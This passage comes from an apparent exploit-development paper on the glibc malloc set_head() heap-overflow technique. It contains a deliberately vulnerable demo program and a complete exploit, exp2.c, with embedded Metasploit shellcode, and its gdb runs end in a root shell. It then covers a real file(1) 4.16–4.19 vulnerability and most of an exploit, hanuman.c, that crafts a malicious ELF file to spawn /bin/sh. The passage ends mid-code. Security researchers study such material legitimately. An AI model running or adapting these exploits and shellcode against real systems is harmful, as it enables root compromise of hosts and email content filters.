0x8049970: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049980: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049990: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499a0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499b0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499c0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499d0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499e0: 0x90909090 0x90909090 0x90909090 0xe983c931 0x80499f0: 0xd9eed9f5 0x5bf42474 0x27137381 0x83b3c0e2 0x8049a00: 0xf4e2fceb 0x2a98e94d 0x9ea88475 0xdb276b44 (gdb)

0x8049990 is a valid address.

5‑ To get the return location for your exploit, get a saved EIP from a stack frame.

(gdb) frame 2

#2 0x0804840a in main ()

(gdb) x $ebp+4

0xbffff52c: 0x4002980c

(gdb)

0xbffff52c is the return location.

6‑ You can now call the exploit with the values that you have found.

bash$ ./exp1 0xbffff52c 0x8049990 0x8049a38

‑‑[ Using 0x8049a38 as the top chunk location.

‑‑[ Using 0xbffff52c as the return location.

‑‑[ Impossible to use 0x8049990 as the return address. Using 0x8049991 instead

sh‑2.05b# exit

exit

bash$

‑‑‑‑‑‑[ 6.1.2.1 ‑ Multiple overwrites

This scenario is an example of a situation where it could be possible to leverage the set_head() technique to make it write multiple times in memory. Applying this technique will help you improve the reliability of the exploit. It will increase your chances of finding a valid return location while you are exploiting the program.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ scenario2.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main (int argc, char *argv[]) {

char *buffer1;

char *buffer2;

unsigned long size;

/* [1] */ buffer1 = (char *) malloc (4096);

/* [2] */ fgets (buffer1, 4200, stdin);

/* [3] */ do {

size = 0;

scanf ("%u", &size);

/* [4] */ buffer2 = (char *) malloc (size);

/*

* Random code */

/* [5] */ free (buffer2);

} while (size != 0);

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ end of scenario2.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is a brief description of the important lines in this code:

[1]: A memory region of 4096 bytes is requested. The top chunk is split and the request is serviced.

[2]: A call to fgets is made. The destination buffer is not checked to see if it is large enough. The top chunk can then be overwritten here.

[3]: The program enters a loop. It reads from 'stdin' until the number '0' is entered.

[4]: A call to malloc is done with 'size' as the parameter. The loop does not end until size equals '0'. This gives the attacker the possibility of overwriting the memory multiple times.

[5]: The buffer needs to be freed at the end of the loop.

‑‑‑‑‑‑[ 6.1.2.2 ‑ Exploit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ exp2.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

Exploit for scenario2.c

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

// The following #define are from malloc.c and are used

// to compute the values for the malloc size and the top chunk size.

#define PREV_INUSE 0x1

#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA

#define SIZE_SZ (sizeof(size_t))

#define MALLOC_ALIGNMENT (2 * SIZE_SZ)

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT ‑ 1)

#define MIN_CHUNK_SIZE 16

#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK))

#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)

struct sethead {

unsigned long topchunk_size;

unsigned long malloc_size;

};

/* linux_ia32_exec ‑ CMD=/bin/id Size=68 Encoder=PexFnstenvSub

http://metasploit.com */

unsigned char scode[] = "\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4f" "\x3d\x1a\x3d\x83\xeb\xfc\xe2\xf4\x25\x36\x42\xa4\x1d\x5b\x72\x10" "\x2c\xb4\xfd\x55\x60\x4e\x72\x3d\x27\x12\x78\x54\x21\xb4\xf9\x6f" "\xa7\x35\x1a\x3d\x4f\x12\x78\x54\x21\x12\x73\x59\x4f\x6a\x49\xb4" "\xae\xf0\x9a\x3d";

struct sethead * set_head_compute

(unsigned long retloc, unsigned long retadr, unsigned long toploc) {

unsigned long check_retloc, check_retadr;

struct sethead *shead;

shead = (struct sethead *) malloc (8);

if (shead == NULL) {

fprintf (stderr,

"‑‑[ Could not allocate memory for sethead structure\n"); exit (1);

}

if ( (toploc % 8) != 0 ) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the top chunk location.", toploc);

toploc = toploc ‑ (toploc % 8);

fprintf (stderr, " Using 0x%x instead\n", toploc); } else

fprintf (stderr,

"‑‑[ Using 0x%x as the top chunk location.\n", toploc);

// The minus 8 is to take care of the normalization

// of the malloc parameter

shead‑>malloc_size = (retloc ‑ toploc ‑ 8);

// By adding the 8, we are able to sometimes perfectly hit

// the return address. To hit it perfectly, retadr must be a multiple

// of 8 + 1 (for the PREV_INUSE flag).

shead‑>topchunk_size = (retadr + shead‑>malloc_size + 8) | PREV_INUSE;

if (shead‑>topchunk_size < shead‑>malloc_size) { fprintf (stderr,

"‑‑[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "‑‑[ Topchunk code will not be triggered\n"); exit (1);

}

check_retloc = (toploc + request2size (shead‑>malloc_size) + 4); if (check_retloc != retloc) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else

fprintf (stderr, "‑‑[ Using 0x%x as the return location.\n", retloc);

check_retadr = ( (shead‑>topchunk_size & ~(SIZE_BITS)) ‑ request2size (shead‑>malloc_size)) | PREV_INUSE; if (check_retadr != retadr) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else

fprintf (stderr, "‑‑[ Using 0x%x as the return address.\n", retadr);

return shead;

}

void

put_byte (char *ptr, unsigned char data) {

*ptr = data;

}

void

put_longword (char *ptr, unsigned long data) {

put_byte (ptr, data);

put_byte (ptr + 1, data >> 8);

put_byte (ptr + 2, data >> 16);

put_byte (ptr + 3, data >> 24);

}

int main (int argc, char *argv[]) {

char *buffer;

char malloc_size_buffer[20];

unsigned long retloc, retadr, toploc;

unsigned long topchunk_size, malloc_size; struct sethead *shead;

int i;

if ( argc != 4) {

printf ("wrong number of arguments, exiting...\n\n"); printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]); return 1;

}

sscanf (argv[1], "0x%x", &retloc);

sscanf (argv[2], "0x%x", &retadr);

sscanf (argv[3], "0x%x", &toploc);

shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead‑>topchunk_size;

free (shead);

buffer = (char *) malloc (4108);

memset (buffer, 0x90, 4108);

put_longword (buffer+4100, topchunk_size); memcpy (buffer+4100‑strlen(scode), scode, strlen (scode)); buffer[4104]=0x0;

printf ("%s\n", buffer);

for (i = 0; i < 300; i++) {

shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead‑>topchunk_size; malloc_size = shead‑>malloc_size;

printf ("%u\n", malloc_size);

retloc = retloc ‑ 8;

retadr = retadr + 8;

free (shead);

}

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ end of exp2.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here are the steps to find the memory values to use for this exploit.

1‑ The first step is to generate a core dump file from the vulnerable program. You will then have to analyze this core dump to find the proper values for your exploit.

To generate the core file, get an approximation of the top chunk location by getting the base address of the BSS section. Normally, the heap will start just after the BSS section:

bash$ readelf ‑S ./scenario2|grep bss

[22] .bss NOBITS 0804964c 00064c 000008

The BSS section starts at 0x0804964c. Let's call the exploit the following way, and remember to replace 0x0804964c for the BSS value you have found:

bash$ ./exp2 0xc0c0c0c0 0x0804964c 0x0804964c | ./scenario2

‑‑[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648 instead

‑‑[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead

‑‑[ Impossible to use 0x804964c as the return address. Using 0x8049649 instead

‑‑[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648 instead

[...]

‑‑[ Impossible to use 0xc0c0b768 as the return location. Using 0xc0c0b76c instead

‑‑[ Impossible to use 0x8049fa4 as the return address. Using 0x8049fa1 instead

Segmentation fault (core dumped)

bash#

2‑ Call gdb on that core dump file.

bash$ gdb ‑q scenario2 core.2698

Core was generated by `./scenario2'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /usr/lib/debug/libc.so.6...done.

Loaded symbols for /usr/lib/debug/libc.so.6

Reading symbols from /lib/ld‑linux.so.2...done.

Loaded symbols for /lib/ld‑linux.so.2

#0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082

4082 set_head(remainder, remainder_size | PREV_INUSE); (gdb)

3‑ The ESI register contains the address of the top chunk. It might be another register for you.

(gdb) info reg esi

esi 0x804a6a8 134522536

(gdb)

4‑ For the return address, get a memory address at the beginning of the NOP cushion:

0x8049654: 0x00000000 0x00000000 0x00000019 0x4013e698 0x8049664: 0x4013e698 0x400898a0 0x4013d720 0x00000000 0x8049674: 0x00000019 0x4013e6a0 0x4013e6a0 0x400899b0 0x8049684: 0x4013d720 0x00000000 0x00000019 0x4013e6a8 0x8049694: 0x4013e6a8 0x40089a80 0x4013d720 0x00000000 0x80496a4: 0x00001009 0x90909090 0x90909090 0x90909090 0x80496b4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496c4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496d4: 0x90909090 0x90909090 0x90909090 0x90909090

0x80496b4 is a valid address.

5‑ You can now call the exploit with the values that you have found. The return location will be 0xbffffffc, and it will decrement with each write. The shellcode in exp2.c executes /bin/id.

bash$ ./exp2 0xbffffffc 0x80496b4 0x804a6a8 | ./scenario2

‑‑[ Using 0x804a6a8 as the top chunk location.

‑‑[ Using 0xbffffffc as the return location.

‑‑[ Impossible to use 0x80496b4 as the return address. Using 0x80496b9 instead

[...]

‑‑[ Using 0xbffff6a4 as the return location.

‑‑[ Impossible to use 0x804a00c as the return address. Using 0x804a011 instead

uid=0(root) gid=0(root) groups=0(root)

bash$

‑‑‑‑[ 6.2 ‑ A real case scenario: file(1) utility

The set_head technique was developed during the research of a security hole in the UNIX file(1) utility. This utility is an automatic file content type recognition tool found on many UNIX systems. The versions affected are Ian Darwin's version 4.00 to 4.19, maintained by Christos Zoulas. This version is the standard version of file(1) for Linux, *BSD, and other systems, maintained by Christos Zoulas.

The main reason why so much energy was put in the development of this exploit is mainly because the presence of a vulnerability in this utility represents a high security risk for an SMTP content filter.

An SMTP content filter is a system that acts after the SMTP server receives email and applies various filtering policies defined by a network administrator. Once the scanning process is finished, the filter decides whether the message will be relayed or not.

An SMTP content filter needs to be able to call different kind of programs on an incoming email:

‑ Dearchivers;

‑ Decoders;

‑ Classifiers;

‑ Antivirus;

‑ and many more ...

The file(1) utility falls under the "classifiers" category.

This attack vector gives a complete new meaning to vulnerabilities that were classified as low risk.

The author of this paper is also the maintainer of PIRANA [7], an exploitation framework that tests the security of an email content filter. By means of a vulnerability database, the content filter to be tested will be bombarded by various emails containing a malicious payload intended to compromise the computing platform. PIRANA's goal is to test whether or not any vulnerability exists on the content filtering platform.

‑‑‑‑‑‑[ 6.2.1 ‑ The hole

The security vulnerability is in the file_printf() function. This function fills the content of the 'ms‑>o.buf' buffer with the characteristics of the inspected file. Once this is done, the buffer is printed on the screen, showing what type of file was detected. Here is the vulnerable function:

‑‑[ From file‑4.19/src/funcs.c

01 protected int

02 file_printf(struct magic_set *ms, const char *fmt, ...)

03 {

04 va_list ap;

05 size_t len;

06 char *buf;

07

08 va_start(ap, fmt);

09 if ((len = vsnprintf(ms‑>o.ptr, ms‑>o.len, fmt, ap)) >= ms‑> o.len) {

10 va_end(ap);

11 if ((buf = realloc(ms‑>o.buf, len + 1024)) == NULL) { 12 file_oomem(ms, len + 1024);

13 return ‑1;

14 }

15 ms‑>o.ptr = buf + (ms‑>o.ptr ‑ ms‑>o.buf); 16 ms‑>o.buf = buf;

17 ms‑>o.len = ms‑>o.size ‑ (ms‑>o.ptr ‑ ms‑>o.buf); 18 ms‑>o.size = len + 1024;

19

20 va_start(ap, fmt);

21 len = vsnprintf(ms‑>o.ptr, ms‑>o.len, fmt, ap); 22 }

23 ms‑>o.ptr += len;

24 ms‑>o.len ‑= len;

25 va_end(ap);

26 return 0;

27 }

At first sight, this function seems to take good care of not overflowing the 'ms‑>o.ptr' buffer. A first copy is done at line 09. If the destination buffer, 'ms‑>o.buf', is not big enough to receive the character string, the memory region is reallocated.

The reallocation is done at line 11, but the new size is not computed properly. Indeed, the function assumes that the buffer should never be bigger than 1024 added to the current length of the processed string.

The real problem is at line 21. The variable 'ms‑>o.len' represents the number of bytes left in 'ms‑>o.buf'. The variable 'len', on the other hand, represents the number of characters (not including the trailing '\0') which would have been written to the final string if enough space had been available. In the event that the buffer to be printed would be larger than 'ms‑>o.len', 'len' would contain a value greater than 'ms‑>o.len'. Then, at line 24, 'len' would get subtracted from 'ms‑>o.len'. 'ms‑>o.len' could underflow below 0, and it would become a very big positive integer because 'ms‑>o.len' is of type 'size_t'. Subsequent vsnprintf() calls would then receive a very big length parameter thus rendering any bound checking capabilities useless.

‑‑‑‑‑‑[ 6.2.2 ‑ All the pieces fall into place

There is an interesting portion of code in the function donote()/readelf.c. There is a call to the vulnerable function, file_printf(), with a user‑supplied buffer. By taking advantage of this code, it will be a lot simpler to write a successful exploit. Indeed, it will be possible to overwrite the chunk information with arbitrary values.

‑‑[ From file‑4.19/src/readelf.c

/*

* Extract the program name. It is at

* offset 0x7c, and is up to 32‑bytes,

* including the terminating NUL.

*/

if (file_printf(ms, ", from '%.31s'",

&nbuf[doff + 0x7c]) == ‑1) return size;

After a couple of tries overflowing the header of the next chunk, it was clear that the only thing that was overflowable was the wilderness chunk. It was not possible to provoke a situation where a chunk that was not adjacent to the top chunk could be overflowable with user controllable data.

The file utility suffers from this buffer overflow since the 4.00 release when the first version of file_printf() was introduced. A successful exploitation was only possible starting from version 4.16. Indeed, this version included a call to malloc with a user controllable variable. From readelf.c:

‑‑[ From file‑4.19/src/readelf.c

if ((nbuf = malloc((size_t)xsh_size)) == NULL) { file_error(ms, errno, "Cannot allocate memory" " for note");

return ‑1;

This was the missing piece of the puzzle. Now, every condition is met to use the set_head() technique.

‑‑‑‑‑‑[ 6.2.3 ‑ hanuman.c

/*

* hanuman.c

*

* file(1) exploit for version 4.16 to 4.19.

* Coded by Jean‑Sebastien Guay‑Leroux

* http://www.guay‑leroux.com

*

*/

/*

Here are the steps to find the 3 memory values to use for the file(1) exploit.

1‑ The first step is to generate a core dump file from file(1). You will then have to analyze this core dump to find the proper values for your exploit.

To generate the core file, get an approximation of the top chunk location by getting the base address of the BSS section:

bash# readelf ‑S /usr/bin/file

Section Headers:

[Nr] Name Type Addr

[ 0] NULL 00000000

[ 1] .interp PROGBITS 080480f4

[...]

[22] .bss NOBITS 0804b1e0

The BSS section starts at 0x0804b1e0. Let's call the exploit the following way, and remember to replace 0x0804b1e0 for the BSS value you have found:

bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal

‑‑[ Using 0x804b1e0 as the top chunk location.

‑‑[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead

‑‑[ Impossible to use 0x804b1e0 as the return address. Using 0x804b1e1 instead

‑‑[ The file has been written

bash# file mal

Segmentation fault (core dumped)

bash#

2‑ Call gdb on that core dump file.

bash# gdb ‑q file core.14854

Core was generated by `file mal'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /usr/local/lib/libmagic.so.1...done. Loaded symbols for /usr/local/lib/libmagic.so.1

Reading symbols from /lib/i686/libc.so.6...done.

Loaded symbols for /lib/i686/libc.so.6

Reading symbols from /lib/ld‑linux.so.2...done.

Loaded symbols for /lib/ld‑linux.so.2

Reading symbols from /usr/lib/gconv/ISO8859‑1.so...done.

Loaded symbols for /usr/lib/gconv/ISO8859‑1.so

#0 0x400a3d15 in mallopt () from /lib/i686/libc.so.6

(gdb)

3‑ The EAX register contains the address of the top chunk. It might be another register for you.

(gdb) info reg eax

eax 0x80614f8 134616312

(gdb)

4‑ Start searching from the location of the top chunk to find the NOP cushion. This will be the return address.

0x80614f8: 0xc0c0c0c1 0xb8bc0ee1 0xc0c0c0c1 0xc0c0c0c1 0x8061508: 0xc0c0c0c1 0xc0c0c0c1 0x73282027 0x616e6769 0x8061518: 0x2930206c 0x90909000 0x90909090 0x90909090 0x8061528: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061538: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061548: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061558: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061568: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061578: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061588: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061598: 0x90909090 0x90909090 0x90909090 0x90909090 0x80615a8: 0x90909090 0x90909090 0x90909090 0x90909090 0x80615b8: 0x90909090 0x90909090

(gdb)

0x8061558 is a valid address.

5‑ To get the return location for your exploit, get a saved EIP from a stack frame.

(gdb) frame 3

#3 0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0, nbytes=8192) at readelf.c:1007

1007 if (doshn(ms, class, swap, fd, (gdb) x $ebp+4

0xbffff7fc: 0x400172b3

(gdb)

0xbffff7fc is the return location.

6‑ You can now call the exploit with the values that you have found.

bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal

‑‑[ Using 0x80614f8 as the top chunk location.

‑‑[ Using 0xbffff7fc as the return location.

‑‑[ Impossible to use 0x8061558 as the return address. Using 0x8061559 instead

‑‑[ The file has been written

bash# file mal

sh‑2.05b#

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <stdint.h>

#define DEBUG 0

#define initial_ELF_garbage 75

//ELF 32‑bit LSB executable, Intel 80386, version 1 (SYSV), statically

// linked

#define initial_netbsd_garbage 22

//, NetBSD‑style, from '

#define post_netbsd_garbage 12

//' (signal 0)

// The following #define are from malloc.c and are used

// to compute the values for the malloc size and the top chunk size.

#define PREV_INUSE 0x1

#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA

#define SIZE_SZ (sizeof(size_t))

#define MALLOC_ALIGNMENT (2 * SIZE_SZ)

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT ‑ 1)

#define MIN_CHUNK_SIZE 16

#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK))

#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)

// Offsets of the note entries in the file

#define OFFSET_31_BYTES 2048

#define OFFSET_N_BYTES 2304

#define OFFSET_0_BYTES 2560

#define OFFSET_OVERWRITE 2816

#define OFFSET_SHELLCODE 4096

/* linux_ia32_exec ‑ CMD=/bin/sh Size=68 Encoder=PexFnstenvSub

http://metasploit.com */

unsigned char scode[] = "\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" "\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" "\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" "\xc6\x2f\x40\xb3";

struct math {

int nnetbsd;

int nname;

};

struct sethead {

unsigned long topchunk_size;

unsigned long malloc_size;

};

// To be a little more independent, we ripped

// the following ELF structures from elf.h

typedef struct

{

unsigned char e_ident[16];

uint16_t e_type;

uint16_t e_machine;

uint32_t e_version;

uint32_t e_entry;

uint32_t e_phoff;

uint32_t e_shoff;

uint32_t e_flags;

uint16_t e_ehsize;

uint16_t e_phentsize;

uint16_t e_phnum;

uint16_t e_shentsize;

uint16_t e_shnum;

uint16_t e_shstrndx;

} Elf32_Ehdr;

typedef struct

{

uint32_t sh_name;

uint32_t sh_type;

uint32_t sh_flags;

uint32_t sh_addr;

uint32_t sh_offset;

uint32_t sh_size;

uint32_t sh_link;

uint32_t sh_info;

uint32_t sh_addralign;

uint32_t sh_entsize;

} Elf32_Shdr;

typedef struct

{

uint32_t n_namesz;

uint32_t n_descsz;

uint32_t n_type;

} Elf32_Nhdr;

struct sethead * set_head_compute

(unsigned long retloc, unsigned long retadr, unsigned long toploc) {

unsigned long check_retloc, check_retadr;

struct sethead *shead;

shead = (struct sethead *) malloc (8);

if (shead == NULL) {

fprintf (stderr,

"‑‑[ Could not allocate memory for sethead structure\n"); exit (1);

}

if ( (toploc % 8) != 0 ) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the top chunk location.", toploc);

toploc = toploc ‑ (toploc % 8);

fprintf (stderr, " Using 0x%x instead\n", toploc); } else

fprintf (stderr,

"‑‑[ Using 0x%x as the top chunk location.\n", toploc);

// The minus 8 is to take care of the normalization

// of the malloc parameter

shead‑>malloc_size = (retloc ‑ toploc ‑ 8);

// By adding the 8, we are able to sometimes perfectly hit

// the return address. To hit it perfectly, retadr must be a multiple

// of 8 + 1 (for the PREV_INUSE flag).

shead‑>topchunk_size = (retadr + shead‑>malloc_size + 8) | PREV_INUSE;

if (shead‑>topchunk_size < shead‑>malloc_size) { fprintf (stderr,

"‑‑[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "‑‑[ Topchunk code will not be triggered\n"); exit (1);

}

check_retloc = (toploc + request2size (shead‑>malloc_size) + 4); if (check_retloc != retloc) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else

fprintf (stderr, "‑‑[ Using 0x%x as the return location.\n", retloc);

check_retadr = ( (shead‑>topchunk_size & ~(SIZE_BITS)) ‑ request2size (shead‑>malloc_size)) | PREV_INUSE; if (check_retadr != retadr) {

fprintf (stderr,

"‑‑[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else

fprintf (stderr, "‑‑[ Using 0x%x as the return address.\n", retadr);

return shead;

}

/*

Not CPU friendly :)

*/

struct math *

compute (int offset) {

int accumulator = 0;

int i, j;

struct math *math;

math = (struct math *) malloc (8);

if (math == NULL) {

printf ("‑‑[ Could not allocate memory for math structure\n"); exit (1);

}

for (i = 1; i < 100;i++) {

for (j = 0; j < (i * 31); j++) {

accumulator = 0;

accumulator += initial_ELF_garbage; accumulator += (i * (initial_netbsd_garbage + post_netbsd_garbage));

accumulator += initial_netbsd_garbage;

accumulator += j;

if (accumulator == offset) { math‑>nnetbsd = i;

math‑>nname = j;

return math;

}

}

}

// Failed to find a value

return 0;

}

void

put_byte (char *ptr, unsigned char data) {

*ptr = data;

}

void

put_longword (char *ptr, unsigned long data) {

put_byte (ptr, data);

put_byte (ptr + 1, data >> 8);

put_byte (ptr + 2, data >> 16);

put_byte (ptr + 3, data >> 24);

}

FILE *

open_file (char *filename) {

FILE *fp;

fp = fopen ( filename , "w" );

if (!fp) {

perror ("Cant open file");

exit (1);

}

return fp;

}

void

usage (char *progname) {

printf ("\nTo use:\n");

printf ("%s <return location> <return address> ", progname); printf ("<topchunk location> <output filename>\n\n");

exit (1);

}

int

main (int argc, char *argv[]) {

FILE *fp;

Elf32_Ehdr *elfhdr;

Elf32_Shdr *elfshdr;

Elf32_Nhdr *elfnhdr;

char *filename;

char *buffer, *ptr;

int i;

struct math *math;

struct sethead *shead;

int left_bytes;

unsigned long retloc, retadr, toploc;

unsigned long topchunk_size, malloc_size;

if ( argc != 5) {

usage ( argv[0] );

}

sscanf (argv[1], "0x%x", &retloc);

sscanf (argv[2], "0x%x", &retadr);

sscanf (argv[3], "0x%x", &toploc);

filename = (char *) malloc (256);

if (filename == NULL) {

printf ("‑‑[ Cannot allocate memory for filename...\n"); exit (1);

}

strncpy (filename, argv[4], 255);

buffer = (char *) malloc (8192);

if (buffer == NULL) {

printf ("‑‑[ Cannot allocate memory for file buffer\n"); exit (1);

}

memset (buffer, 0, 8192);

math = compute (1036);

if (!math) {

printf ("‑‑[ Unable to compute a value\n"); exit (1);

}

shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead‑>topchunk_size;

malloc_size = shead‑>malloc_size;

ptr = buffer;

elfhdr = (Elf32_Ehdr *) ptr;

// Fill our ELF header

sprintf(elfhdr‑>e_ident,"\x7f\x45\x4c\x46\x01\x01\x01"); elfhdr‑>e_type = 2; // ET_EXEC

elfhdr‑>e_machine = 3; // EM_386

elfhdr‑>e_version = 1; // EV_CURRENT

elfhdr‑>e_entry = 0;

elfhdr‑>e_phoff = 0;

elfhdr‑>e_shoff = 52;

elfhdr‑>e_flags = 0;

elfhdr‑>e_ehsize = 52;

elfhdr‑>e_phentsize = 32;

elfhdr‑>e_phnum = 0;

elfhdr‑>e_shentsize = 40;

elfhdr‑>e_shnum = math‑>nnetbsd + 2; elfhdr‑>e_shstrndx = 0;

ptr += elfhdr‑>e_ehsize;

elfshdr = (Elf32_Shdr *) ptr;

// This loop lets us eat an arbitrary number of bytes in ms‑>o.buf

left_bytes = math‑>nname;

for (i = 0; i < math‑>nnetbsd; i++) { elfshdr‑>sh_name = 0;

elfshdr‑>sh_type = 7; // SHT_NOTE

elfshdr‑>sh_flags = 0;

elfshdr‑>sh_addr = 0;

elfshdr‑>sh_size = 256;

elfshdr‑>sh_link = 0;

elfshdr‑>sh_info = 0; elfshdr‑>sh_addralign = 0; elfshdr‑>sh_entsize = 0;

if (left_bytes > 31) {

// filename == 31

elfshdr‑>sh_offset = OFFSET_31_BYTES; left_bytes ‑= 31;

} else if (left_bytes != 0) {

// filename < 31 && != 0

elfshdr‑>sh_offset = OFFSET_N_BYTES; left_bytes = 0;

} else {

// filename == 0

elfshdr‑>sh_offset = OFFSET_0_BYTES;

}

// The first section header will also let us load

// the shellcode in memory :)

// Indeed, by requesting a large memory block,

// the topchunk will be splitted, and this memory region

// will be left untouched until we need it.

// We assume its name is 31 bytes long.

if (i == 0) {

elfshdr‑>sh_size = 4096; elfshdr‑>sh_offset = OFFSET_SHELLCODE;

}

elfshdr++;

}

// This section header entry is for the data that will

// overwrite the topchunk size pointer

elfshdr‑>sh_name = 0;

elfshdr‑>sh_type = 7; // SHT_NOTE

elfshdr‑>sh_flags = 0;

elfshdr‑>sh_addr = 0;

elfshdr‑>sh_offset = OFFSET_OVERWRITE; elfshdr‑>sh_size = 256;

elfshdr‑>sh_link = 0;

elfshdr‑>sh_info = 0;

elfshdr‑>sh_addralign = 0;

elfshdr‑>sh_entsize = 0;

elfshdr++;

// This section header entry triggers the call to malloc

// with a user supplied length.

// It is a requirement for the set_head technique to work

elfshdr‑>sh_name = 0;

elfshdr‑>sh_type = 7; // SHT_NOTE

elfshdr‑>sh_flags = 0;

elfshdr‑>sh_addr = 0;

elfshdr‑>sh_offset = OFFSET_N_BYTES; elfshdr‑>sh_size = malloc_size;

elfshdr‑>sh_link = 0;

elfshdr‑>sh_info = 0;

elfshdr‑>sh_addralign = 0;

elfshdr‑>sh_entsize = 0;

elfshdr++;

// This note entry lets us eat 31 bytes + overhead

elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES); elfnhdr‑>n_namesz = 12;

elfnhdr‑>n_descsz = 12;

elfnhdr‑>n_type = 1;

ptr = buffer + OFFSET_31_BYTES + 12;

sprintf (ptr, "NetBSD‑CORE");

sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");

// This note entry lets us eat an arbitrary number of bytes + overhead

elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES); elfnhdr‑>n_namesz = 12;

elfnhdr‑>n_descsz = 12;

elfnhdr‑>n_type = 1;

ptr = buffer + OFFSET_N_BYTES + 12;

sprintf (ptr, "NetBSD‑CORE");

for (i = 0; i < (math‑>nname % 31); i++) buffer[OFFSET_N_BYTES+24+0x7c+i]='B';

// This note entry lets us eat 0 bytes + overhead

elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES); elfnhdr‑>n_namesz = 12;

elfnhdr‑>n_descsz = 12;

elfnhdr‑>n_type = 1;

ptr = buffer + OFFSET_0_BYTES + 12;

sprintf (ptr, "NetBSD‑CORE"); buffer[OFFSET_0_BYTES+24+0x7c]=0;

// This note entry lets us specify the value that will

// overwrite the topchunk size

elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE); elfnhdr‑>n_namesz = 12;

